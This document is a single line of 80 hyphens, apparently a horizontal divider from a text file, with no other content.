--------------------------------------------------------------------------------